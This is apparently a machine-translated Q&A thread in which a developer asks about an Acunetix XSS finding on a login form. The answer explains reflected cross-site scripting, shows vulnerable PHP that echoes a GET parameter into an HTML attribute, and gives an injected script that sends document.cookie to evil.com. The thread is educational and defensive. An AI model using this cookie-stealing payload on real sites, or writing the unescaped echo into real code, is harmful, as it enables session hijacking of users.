JavaScript Acunetix安全扫描警告

时间:2012-01-12 00:56:50

标签: javascript html login

在我的网站上运行Acunetix会显示下面的严重漏洞

URL编码的GET输入用户名设置为“onmouseover = prompt(994492)bad =”输入反映在双引号之间的标记元素中。

我试图找出可以做些什么。我对编码很新,我正在寻找一些技巧。什么可以作为被视为恶意的用户名输入?输入的代码不会只在客户端PC上运行而不能在服务器上运行吗?

实施例?解决方案?对不起,我刚刚收录了我认为它引用的内容。如果它有被剥削的危险,链接到我的网站会不会很糟糕?

<form name="loginForm" action="LoginName.asp" method="post">
  <fieldset>
  <label for="username">User</label>
  <input type="text" name="username" value=""/>
  <label for="password">Password</label>
  <input type="password" name="password"/>
  </fieldset>
  <input type="hidden" name="originalURL" value="">
  <input type="submit" value="Login" class="form-btn" />
</form>

它似乎不喜欢用户名或OriginalURL并且说“恶意用户可能会将JavaScript,VBScript,ActiveX,HTML或Flash注入易受攻击的应用程序中以欺骗用户以便从中收集数据。攻击者可以窃取会话cookie并接管帐户,冒充用户。还可以修改呈现给用户的页面内容。“

1 个答案:

答案 0 :(得分:1)

您遇到的是跨站点脚本(XSS)漏洞。

XSS是一个客户端漏洞,所以关于你的问题“不会输入任何代码只能在客户端PC而不是服务器上运行吗?”,问题的答案是它实际上是在用户的浏览器。

起初它似乎无害,但XSS可能会产生一些严重的后果,特别是在与网络钓鱼等其他攻击配对时。 XSS可用于许多邪恶的事情,包括:

  • 窃取浏览器Cookie,从而允许攻击者冒充当前登录应用程序的用户
  • 网站污损,或更改网页布局
  • Drive-by downloads
  • 您可以在浏览器中执行的任何操作

根据Acunetix报告的内容(onmouseover=prompt(994492) bad=),听起来攻击者可以将"字符注入HTML属性的值。我将尝试用一些示例PHP代码来解释我的意思。

// Vulnerable to Reflected XSS
echo '<div class="' . $_GET['c'] . '"></div>';

在上面的示例中,普通用户会发出如下请求:

GET /test.php?c=blue HTTP/1.1

这将导致以下内容被打印到页面:

<div class="blue"></div>

然而,攻击者可能以某种方式说服用户(例如通过网络钓鱼)提出以下请求:

GET /test.php?c="><script>window.location='http://evil.com/?cookie=' + document.cookie</script> HTTP/1.1

这将导致:

<div class=""><script>window.location='http://evil.com/?cookie=' + document.cookie</script></div>

一旦受害者发出请求,攻击者就可以复制用户cookie的内容并冒充他们(假设受害者在攻击者窃取cookie时登录)。

有关XSS的更多信息,我建议您查看this article,它有点介绍,但它应该作为一个坚实的基础。

此外,我还建议阅读有关修复XSS漏洞的this article

另外,“如果它有被剥削的危险,链接到我的网站会不会很糟糕?” - 最好不要,直到你至少解决它:)